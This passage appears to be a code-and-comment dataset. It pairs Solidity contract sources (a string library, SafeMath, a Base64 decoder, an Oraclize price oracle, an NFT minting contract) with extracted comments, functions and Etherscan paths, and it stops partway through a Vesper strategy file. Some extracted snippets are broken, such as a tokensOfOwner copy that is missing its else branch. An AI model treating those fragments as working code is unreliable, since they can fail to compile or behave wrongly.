}
/*
* @dev If `self` starts with `needle`, `needle` is removed from the
* beginning of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
/*
* @dev Returns true if the slice ends with `needle`.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return True if the slice starts with the provided text, false otherwise.
*/
function endsWith(slice memory self, slice memory needle) internal pure returns (bool) {
if (self._len < needle._len) {
return false;
}
uint selfptr = self._ptr + self._len - needle._len;
if (selfptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
/*
* @dev If `self` ends with `needle`, `needle` is removed from the
* end of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function until(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
uint selfptr = self._ptr + self._len - needle._len;
bool equal = true;
if (selfptr != needle._ptr) {
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
}
return self;
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
// Returns the memory address of the first byte after the last occurrence of
// `needle` in `self`, or the address of `self` if not found.
function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
ptr = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr <= selfptr)
return selfptr;
ptr--;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr + needlelen;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
ptr = selfptr + (selflen - needlelen);
while (ptr >= selfptr) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr + needlelen;
ptr -= 1;
}
}
}
return selfptr;
}
/*
* @dev Modifies `self` to contain everything from the first occurrence of
* `needle` to the end of the slice. `self` is set to the empty slice
* if `needle` is not found.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function find(slice memory self, slice memory needle) internal pure returns (slice memory) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len -= ptr - self._ptr;
self._ptr = ptr;
return self;
}
/*
* @dev Modifies `self` to contain the part of the string from the start of
* `self` to the end of the first occurrence of `needle`. If `needle`
* is not found, `self` is set to the empty slice.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function rfind(slice memory self, slice memory needle) internal pure returns (slice memory) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len = ptr - self._ptr;
return self;
}
/*
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and `token` to everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and `token` is set to the entirety of `self`.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function split(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = self._ptr;
token._len = ptr - self._ptr;
if (ptr == self._ptr + self._len) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
self._ptr = ptr + needle._len;
}
return token;
}
/*
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and returning everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and the entirety of `self` is returned.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @return The part of `self` up to the first occurrence of `delim`.
*/
function split(slice memory self, slice memory needle) internal pure returns (slice memory token) {
split(self, needle, token);
}
/*
* @dev Splits the slice, setting `self` to everything before the last
* occurrence of `needle`, and `token` to everything after it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and `token` is set to the entirety of `self`.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function rsplit(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = ptr;
token._len = self._len - (ptr - self._ptr);
if (ptr == self._ptr) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
}
return token;
}
/*
* @dev Splits the slice, setting `self` to everything before the last
* occurrence of `needle`, and returning everything after it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and the entirety of `self` is returned.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @return The part of `self` after the last occurrence of `delim`.
*/
function rsplit(slice memory self, slice memory needle) internal pure returns (slice memory token) {
rsplit(self, needle, token);
}
/*
* @dev Counts the number of nonoverlapping occurrences of `needle` in `self`.
* @param self The slice to search.
* @param needle The text to search for in `self`.
* @return The number of occurrences of `needle` found in `self`.
*/
function count(slice memory self, slice memory needle) internal pure returns (uint cnt) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len;
while (ptr <= self._ptr + self._len) {
cnt++;
ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len;
}
}
/*
* @dev Returns True if `self` contains `needle`.
* @param self The slice to search.
* @param needle The text to search for in `self`.
* @return True if `needle` is found in `self`, false otherwise.
*/
function contains(slice memory self, slice memory needle) internal pure returns (bool) {
return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr;
}
/*
* @dev Returns a newly allocated string containing the concatenation of
* `self` and `other`.
* @param self The first slice to concatenate.
* @param other The second slice to concatenate.
* @return The concatenation of the two strings.
*/
function concat(slice memory self, slice memory other) internal pure returns (string memory) {
string memory ret = new string(self._len + other._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
memcpy(retptr + self._len, other._ptr, other._len);
return ret;
}
/*
* @dev Joins an array of slices, using `self` as a delimiter, returning a
* newly allocated string.
* @param self The delimiter to use.
* @param parts A list of slices to join.
* @return A newly allocated string containing all the slices in `parts`,
* joined with `self`.
*/
function join(slice memory self, slice[] memory parts) internal pure returns (string memory) {
if (parts.length == 0)
return "";
uint length = self._len * (parts.length - 1);
for(uint i = 0; i < parts.length; i++)
length += parts[i]._len;
string memory ret = new string(length);
uint retptr;
assembly { retptr := add(ret, 32) }
for(i = 0; i < parts.length; i++) {
memcpy(retptr, parts[i]._ptr, parts[i]._len);
retptr += parts[i]._len;
if (i < parts.length - 1) {
memcpy(retptr, self._ptr, self._len);
retptr += self._len;
}
}
return ret;
}
}
/**
* The MIT License (MIT)
*
* Copyright (c) 2016 Smart Contract Solutions, Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* This method was modified from the GPLv3 solidity code found in this repository
* https://github.com/vcealicu/melonport-price-feed/blob/master/pricefeed/PriceFeed.sol
*/
/// @title Base64 provides base 64 decoding functionality.
contract Base64 {
bytes constant BASE64_DECODE_CHAR = hex"000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e003e003f3435363738393a3b3c3d00000000000000000102030405060708090a0b0c0d0e0f10111213141516171819000000003f001a1b1c1d1e1f202122232425262728292a2b2c2d2e2f30313233";
/// @return decoded array of bytes.
/// @param _encoded base 64 encoded array of bytes.
function _base64decode(bytes _encoded) internal pure returns (bytes) {
byte v1;
byte v2;
byte v3;
byte v4;
uint length = _encoded.length;
bytes memory result = new bytes(length);
uint index;
// base64 encoded strings can't be length 0 and they must be divisble by 4
require(length > 0 && length % 4 == 0, "invalid base64 encoding");
if (keccak256(abi.encodePacked(_encoded[length - 2])) == keccak256("=")) {
length -= 2;
} else if (keccak256(abi.encodePacked(_encoded[length - 1])) == keccak256("=")) {
length -= 1;
}
uint count = length >> 2 << 2;
for (uint i = 0; i < count;) {
v1 = BASE64_DECODE_CHAR[uint(_encoded[i++])];
v2 = BASE64_DECODE_CHAR[uint(_encoded[i++])];
v3 = BASE64_DECODE_CHAR[uint(_encoded[i++])];
v4 = BASE64_DECODE_CHAR[uint(_encoded[i++])];
result[index++] = (v1 << 2 | v2 >> 4) & 255;
result[index++] = (v2 << 4 | v3 >> 2) & 255;
result[index++] = (v3 << 6 | v4) & 255;
}
if (length - count == 2) {
v1 = BASE64_DECODE_CHAR[uint(_encoded[i++])];
v2 = BASE64_DECODE_CHAR[uint(_encoded[i++])];
result[index++] = (v1 << 2 | v2 >> 4) & 255;
} else if (length - count == 3) {
v1 = BASE64_DECODE_CHAR[uint(_encoded[i++])];
v2 = BASE64_DECODE_CHAR[uint(_encoded[i++])];
v3 = BASE64_DECODE_CHAR[uint(_encoded[i++])];
result[index++] = (v1 << 2 | v2 >> 4) & 255;
result[index++] = (v2 << 4 | v3 >> 2) & 255;
}
// Set to correct length.
assembly {
mstore(result, index)
}
return result;
}
}
/// @title Oracle converts ERC20 token amounts into equivalent ether amounts based on cryptocurrency exchange rates.
interface IOracle {
function convert(address, uint) external view returns (bool, uint);
}
/// @title Oracle provides asset exchange rates and conversion functionality.
contract Oracle is usingOraclize, Base64, Date, JSON, Controllable, ParseIntScientific, IOracle {
using strings for *;
using SafeMath for uint256;
/*******************/
/* Events */
/*****************/
event AddedToken(address _sender, address _token, string _symbol, uint _magnitude);
event RemovedToken(address _sender, address _token);
event UpdatedTokenRate(address _sender, address _token, uint _rate);
event SetGasPrice(address _sender, uint _gasPrice);
event Converted(address _sender, address _token, uint _amount, uint _ether);
event RequestedUpdate(string _symbol);
event FailedUpdateRequest(string _reason);
event VerifiedProof(bytes _publicKey, string _result);
event SetCryptoComparePublicKey(address _sender, bytes _publicKey);
/**********************/
/* Constants */
/********************/
uint constant private PROOF_LEN = 165;
uint constant private ECDSA_SIG_LEN = 65;
uint constant private ENCODING_BYTES = 2;
uint constant private HEADERS_LEN = PROOF_LEN - 2 * ENCODING_BYTES - ECDSA_SIG_LEN; // 2 bytes encoding headers length + 2 for signature.
uint constant private DIGEST_BASE64_LEN = 44; //base64 encoding of the SHA256 hash (32-bytes) of the result: fixed length.
uint constant private DIGEST_OFFSET = HEADERS_LEN - DIGEST_BASE64_LEN; // the starting position of the result hash in the headers string.
uint constant private MAX_BYTE_SIZE = 256; //for calculating length encoding
struct Token {
string symbol; // Token symbol
uint magnitude; // 10^decimals
uint rate; // Token exchange rate in wei
uint lastUpdate; // Time of the last rate update
bool exists; // Flags if the struct is empty or not
}
mapping(address => Token) public tokens;
address[] private _tokenAddresses;
bytes public APIPublicKey;
mapping(bytes32 => address) private _queryToToken;
/// @dev Construct the oracle with multiple controllers, address resolver and custom gas price.
/// @dev _resolver is the oraclize address resolver contract address.
/// @param _ens is the address of the ENS.
/// @param _controllerName is the ENS name of the Controller.
constructor(address _resolver, address _ens, bytes32 _controllerName) Controllable(_ens, _controllerName) public {
APIPublicKey = hex"a0f4f688350018ad1b9785991c0bde5f704b005dc79972b114dbed4a615a983710bfc647ebe5a320daa28771dce6a2d104f5efa2e4a85ba3760b76d46f8571ca";
OAR = OraclizeAddrResolverI(_resolver);
oraclize_setCustomGasPrice(10000000000);
oraclize_setProof(proofType_Native);
}
/// @dev Updates the Crypto Compare public API key.
function updateAPIPublicKey(bytes _publicKey) external onlyController {
APIPublicKey = _publicKey;
emit SetCryptoComparePublicKey(msg.sender, _publicKey);
}
/// @dev Sets the gas price used by oraclize query.
function setCustomGasPrice(uint _gasPrice) external onlyController {
oraclize_setCustomGasPrice(_gasPrice);
emit SetGasPrice(msg.sender, _gasPrice);
}
/// @dev Convert ERC20 token amount to the corresponding ether amount (used by the wallet contract).
/// @param _token ERC20 token contract address.
/// @param _amount amount of token in base units.
function convert(address _token, uint _amount) external view returns (bool, uint) {
// Store the token in memory to save map entry lookup gas.
Token storage token = tokens[_token];
// If the token exists require that its rate is not zero
if (token.exists) {
require(token.rate != 0, "token rate is 0");
// Safely convert the token amount to ether based on the exchange rate.
// return the value and a 'true' implying that the token is protected
return (true, _amount.mul(token.rate).div(token.magnitude));
}
// this returns a 'false' to imply that a card is not protected
return (false, 0);
}
/// @dev Add ERC20 tokens to the list of supported tokens.
/// @param _tokens ERC20 token contract addresses.
/// @param _symbols ERC20 token names.
/// @param _magnitude 10 to the power of number of decimal places used by each ERC20 token.
/// @param _updateDate date for the token updates. This will be compared to when oracle updates are received.
function addTokens(address[] _tokens, bytes32[] _symbols, uint[] _magnitude, uint _updateDate) external onlyController {
// Require that all parameters have the same length.
require(_tokens.length == _symbols.length && _tokens.length == _magnitude.length, "parameter lengths do not match");
// Add each token to the list of supported tokens.
for (uint i = 0; i < _tokens.length; i++) {
// Require that the token doesn't already exist.
address token = _tokens[i];
require(!tokens[token].exists, "token already exists");
// Store the intermediate values.
string memory symbol = _symbols[i].toSliceB32().toString();
uint magnitude = _magnitude[i];
// Add the token to the token list.
tokens[token] = Token({
symbol : symbol,
magnitude : magnitude,
rate : 0,
exists : true,
lastUpdate: _updateDate
});
// Add the token address to the address list.
_tokenAddresses.push(token);
// Emit token addition event.
emit AddedToken(msg.sender, token, symbol, magnitude);
}
}
/// @dev Remove ERC20 tokens from the list of supported tokens.
/// @param _tokens ERC20 token contract addresses.
function removeTokens(address[] _tokens) external onlyController {
// Delete each token object from the list of supported tokens based on the addresses provided.
for (uint i = 0; i < _tokens.length; i++) {
//token must exist, reverts on duplicates as well
require(tokens[_tokens[i]].exists, "token does not exist");
// Store the token address.
address token = _tokens[i];
// Delete the token object.
delete tokens[token];
// Remove the token address from the address list.
for (uint j = 0; j < _tokenAddresses.length.sub(1); j++) {
if (_tokenAddresses[j] == token) {
_tokenAddresses[j] = _tokenAddresses[_tokenAddresses.length.sub(1)];
break;
}
}
_tokenAddresses.length--;
// Emit token removal event.
emit RemovedToken(msg.sender, token);
}
}
/// @dev Update ERC20 token exchange rate manually.
/// @param _token ERC20 token contract address.
/// @param _rate ERC20 token exchange rate in wei.
/// @param _updateDate date for the token updates. This will be compared to when oracle updates are received.
function updateTokenRate(address _token, uint _rate, uint _updateDate) external onlyController {
// Require that the token exists.
require(tokens[_token].exists, "token does not exist");
// Update the token's rate.
tokens[_token].rate = _rate;
// Update the token's last update timestamp.
tokens[_token].lastUpdate = _updateDate;
// Emit the rate update event.
emit UpdatedTokenRate(msg.sender, _token, _rate);
}
/// @dev Update ERC20 token exchange rates for all supported tokens.
//// @param _gasLimit the gas limit is passed, this is used for the Oraclize callback
function updateTokenRates(uint _gasLimit) external payable onlyController {
_updateTokenRates(_gasLimit);
}
//// @dev Withdraw ether from the smart contract to the specified account.
function withdraw(address _to, uint _amount) external onlyController {
_to.transfer(_amount);
}
//// @dev Handle Oraclize query callback and verifiy the provided origin proof.
//// @param _queryID Oraclize query ID.
//// @param _result query result in JSON format.
//// @param _proof origin proof from crypto compare.
// solium-disable-next-line mixedcase
function __callback(bytes32 _queryID, string _result, bytes _proof) public {
// Require that the caller is the Oraclize contract.
require(msg.sender == oraclize_cbAddress(), "sender is not oraclize");
// Use the query ID to find the matching token address.
address _token = _queryToToken[_queryID];
require(_token != address(0), "queryID matches to address 0");
// Get the corresponding token object.
Token storage token = tokens[_token];
bool valid;
uint timestamp;
(valid, timestamp) = _verifyProof(_result, _proof, APIPublicKey, token.lastUpdate);
// Require that the proof is valid.
if (valid) {
// Parse the JSON result to get the rate in wei.
token.rate = _parseIntScientificWei(parseRate(_result));
// Set the update time of the token rate.
token.lastUpdate = timestamp;
// Remove query from the list.
delete _queryToToken[_queryID];
// Emit the rate update event.
emit UpdatedTokenRate(msg.sender, _token, token.rate);
}
}
/// @dev Re-usable helper function that performs the Oraclize Query.
//// @param _gasLimit the gas limit is passed, this is used for the Oraclize callback
function _updateTokenRates(uint _gasLimit) private {
// Check if there are any existing tokens.
if (_tokenAddresses.length == 0) {
// Emit a query failure event.
emit FailedUpdateRequest("no tokens");
// Check if the contract has enough Ether to pay for the query.
} else if (oraclize_getPrice("URL") * _tokenAddresses.length > address(this).balance) {
// Emit a query failure event.
emit FailedUpdateRequest("insufficient balance");
} else {
// Set up the cryptocompare API query strings.
strings.slice memory apiPrefix = "https://min-api.cryptocompare.com/data/price?fsym=".toSlice();
strings.slice memory apiSuffix = "&tsyms=ETH&sign=true".toSlice();
// Create a new oraclize query for each supported token.
for (uint i = 0; i < _tokenAddresses.length; i++) {
// Store the token symbol used in the query.
strings.slice memory symbol = tokens[_tokenAddresses[i]].symbol.toSlice();
// Create a new oraclize query from the component strings.
bytes32 queryID = oraclize_query("URL", apiPrefix.concat(symbol).toSlice().concat(apiSuffix), _gasLimit);
// Store the query ID together with the associated token address.
_queryToToken[queryID] = _tokenAddresses[i];
// Emit the query success event.
emit RequestedUpdate(symbol.toString());
}
}
}
/// @dev Verify the origin proof returned by the cryptocompare API.
/// @param _result query result in JSON format.
/// @param _proof origin proof from cryptocompare.
/// @param _publicKey cryptocompare public key.
/// @param _lastUpdate timestamp of the last time the requested token was updated.
function _verifyProof(string _result, bytes _proof, bytes _publicKey, uint _lastUpdate) private returns (bool, uint) {
//expecting fixed length proofs
if (_proof.length != PROOF_LEN)
revert("invalid proof length");
//proof should be 65 bytes long: R (32 bytes) + S (32 bytes) + v (1 byte)
if (uint(_proof[1]) != ECDSA_SIG_LEN)
revert("invalid signature length");
bytes memory signature = new bytes(ECDSA_SIG_LEN);
signature = copyBytes(_proof, 2, ECDSA_SIG_LEN, signature, 0);
// Extract the headers, big endian encoding of headers length
if (uint(_proof[ENCODING_BYTES + ECDSA_SIG_LEN]) * MAX_BYTE_SIZE + uint(_proof[ENCODING_BYTES + ECDSA_SIG_LEN + 1]) != HEADERS_LEN)
revert("invalid headers length");
bytes memory headers = new bytes(HEADERS_LEN);
headers = copyBytes(_proof, 2*ENCODING_BYTES + ECDSA_SIG_LEN, HEADERS_LEN, headers, 0);
// Check if the signature is valid and if the signer address is matching.
if (!_verifySignature(headers, signature, _publicKey)) {
revert("invalid signature");
}
// Check if the date is valid.
bytes memory dateHeader = new bytes(20);
//keep only the relevant string(e.g. "16 Nov 2018 16:22:18")
dateHeader = copyBytes(headers, 11, 20, dateHeader, 0);
bool dateValid;
uint timestamp;
(dateValid, timestamp) = _verifyDate(string(dateHeader), _lastUpdate);
// Check whether the date returned is valid or not
if (!dateValid)
revert("invalid date");
// Check if the signed digest hash matches the result hash.
bytes memory digest = new bytes(DIGEST_BASE64_LEN);
digest = copyBytes(headers, DIGEST_OFFSET, DIGEST_BASE64_LEN, digest, 0);
if (keccak256(abi.encodePacked(sha256(abi.encodePacked(_result)))) != keccak256(_base64decode(digest)))
revert("result hash not matching");
emit VerifiedProof(_publicKey, _result);
return (true, timestamp);
}
/// @dev Verify the HTTP headers and the signature
/// @param _headers HTTP headers provided by the cryptocompare api
/// @param _signature signature provided by the cryptocompare api
/// @param _publicKey cryptocompare public key.
function _verifySignature(bytes _headers, bytes _signature, bytes _publicKey) private returns (bool) {
address signer;
bool signatureOK;
// Checks if the signature is valid by hashing the headers
(signatureOK, signer) = ecrecovery(sha256(_headers), _signature);
return signatureOK && signer == address(keccak256(_publicKey));
}
/// @dev Verify the signed HTTP date header.
/// @param _dateHeader extracted date string e.g. Wed, 12 Sep 2018 15:18:14 GMT.
/// @param _lastUpdate timestamp of the last time the requested token was updated.
function _verifyDate(string _dateHeader, uint _lastUpdate) private pure returns (bool, uint) {
//called by verifyProof(), _dateHeader is always a string of length = 20
assert(abi.encodePacked(_dateHeader).length == 20);
//Split the date string and get individual date components.
strings.slice memory date = _dateHeader.toSlice();
strings.slice memory timeDelimiter = ":".toSlice();
strings.slice memory dateDelimiter = " ".toSlice();
uint day = _parseIntScientific(date.split(dateDelimiter).toString());
require(day > 0 && day < 32, "day error");
uint month = _monthToNumber(date.split(dateDelimiter).toString());
require(month > 0 && month < 13, "month error");
uint year = _parseIntScientific(date.split(dateDelimiter).toString());
require(year > 2017 && year < 3000, "year error");
uint hour = _parseIntScientific(date.split(timeDelimiter).toString());
require(hour < 25, "hour error");
uint minute = _parseIntScientific(date.split(timeDelimiter).toString());
require(minute < 60, "minute error");
uint second = _parseIntScientific(date.split(timeDelimiter).toString());
require(second < 60, "second error");
uint timestamp = year * (10 ** 10) + month * (10 ** 8) + day * (10 ** 6) + hour * (10 ** 4) + minute * (10 ** 2) + second;
return (timestamp > _lastUpdate, timestamp);
}
}
|
Verify the HTTP headers and the signature _headers HTTP headers provided by the cryptocompare api _signature signature provided by the cryptocompare api _publicKey cryptocompare public key. Checks if the signature is valid by hashing the headers
|
function _verifySignature(bytes _headers, bytes _signature, bytes _publicKey) private returns (bool) {
address signer;
bool signatureOK;
(signatureOK, signer) = ecrecovery(sha256(_headers), _signature);
return signatureOK && signer == address(keccak256(_publicKey));
}
| 991,128
|
./partial_match/1/0x15bBeB47e642828778937b90fdA1926b744b0733/sources/Bank.sol
|
reduces master tax/
|
function reduceMasterTax(uint256 tax) external onlyOwner {
MASTER_TAX = tax;
}
| 4,336,643
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol";
/* Contract for NFtrees */
contract NFTree is Ownable, ERC721URIStorage{
uint256 tokenId;
address purchaseContract;
constructor() ERC721('NFTree', 'TREE')
{
tokenId = 1;
}
function setPurchaseContract(address _purchaseContract) external onlyOwner{
purchaseContract = _purchaseContract;
}
function getPurchaseContract() external view returns(address){
return(purchaseContract);
}
function buyNFTree(address _recipient, string memory _tokenHash) external {
require(msg.sender == purchaseContract, 'Only purchase contract can call buyNFTree');
_safeMint(_recipient, tokenId);
_setTokenURI(tokenId, _tokenHash);
tokenId = tokenId + 1;
}
function tokensOfOwner(address _owner) external view returns(uint256[] memory) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalNFTrees = tokenId - 1;
uint256 resultIndex = 0;
// We count on the fact that all cats have IDs starting at 1 and increasing
// sequentially up to the totalCat count.
uint256 NFTreeId;
for (NFTreeId = 1; NFTreeId <= totalNFTrees; NFTreeId++) {
if (ownerOf(NFTreeId) == _owner) {
result[resultIndex] = NFTreeId;
resultIndex++;
}
}
return result;
}
}
function getNextTokenId() external view returns(uint256){
return(tokenId);
}
}
|
Return an empty array We count on the fact that all cats have IDs starting at 1 and increasing sequentially up to the totalCat count.
|
function tokensOfOwner(address _owner) external view returns(uint256[] memory) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
uint256[] memory result = new uint256[](tokenCount);
uint256 totalNFTrees = tokenId - 1;
uint256 resultIndex = 0;
uint256 NFTreeId;
for (NFTreeId = 1; NFTreeId <= totalNFTrees; NFTreeId++) {
if (ownerOf(NFTreeId) == _owner) {
result[resultIndex] = NFTreeId;
resultIndex++;
}
}
return result;
}
}
| 899,167
|
/**
*Submitted for verification at Etherscan.io on 2021-03-18
*/
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// Global Enums and Structs
struct StrategyParams {
uint256 performanceFee;
uint256 activation;
uint256 debtRatio;
uint256 minDebtPerHarvest;
uint256 maxDebtPerHarvest;
uint256 lastReport;
uint256 totalDebt;
uint256 totalGain;
uint256 totalLoss;
}
// Part: IPoolRewards
interface IPoolRewards {
function claimReward(address) external;
function claimable(address) external view returns (uint256);
function pool() external view returns (address);
function rewardPerToken() external view returns (uint256);
}
// Part: IUniswapV2Router
interface IUniswapV2Router {
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
// Part: IVesperPool
interface IVesperPool {
function approveToken() external;
function deposit(uint256) external;
function withdraw(uint256) external;
function balanceOf(address) external view returns (uint256);
function totalSupply() external view returns (uint256);
function totalValue() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function getPricePerShare() external view returns (uint256);
function withdrawFee() external view returns (uint256);
}
// Part: OpenZeppelin/[email protected]/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
